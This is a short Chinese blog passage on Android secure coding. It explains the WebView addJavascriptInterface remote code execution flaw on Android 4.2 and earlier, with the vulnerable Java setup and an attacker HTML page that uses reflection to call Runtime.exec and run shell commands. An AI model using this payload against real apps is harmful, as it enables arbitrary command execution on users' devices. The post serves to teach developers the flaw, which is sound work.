- WebView远程代码执行
- 在API16(Android 4.2 )及之前的系统上,如果使用WebView.addJavaScriptInterface方法来实现通过JavaScript调用应用本地java接口时,由于系统没有对注册的Java类方法调用做任何限制,导致攻击者可以通过使用Java反射API调用该漏洞来执行任意java对象的方法,从而达到攻击的目的。在JavaScript中注入java对象injectedObject的漏洞代码如下:
WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(this,"injectedObject"); webView.loadUrl("http://www.asce1885.com/index.html");
- 攻击者html页面如下,可以获得getRuntime方法,从而执行一系列shell命令,为所欲为:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <script type="text/javascript"> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } </script> <title>Title</title> </head> <body> </body> </html>
- 在API16(Android 4.2 )及之前的系统上,如果使用WebView.addJavaScriptInterface方法来实现通过JavaScript调用应用本地java接口时,由于系统没有对注册的Java类方法调用做任何限制,导致攻击者可以通过使用Java反射API调用该漏洞来执行任意java对象的方法,从而达到攻击的目的。在JavaScript中注入java对象injectedObject的漏洞代码如下:
Android安全编码
猜你喜欢
转载自www.cnblogs.com/endian11/p/9114094.html
今日推荐
周排行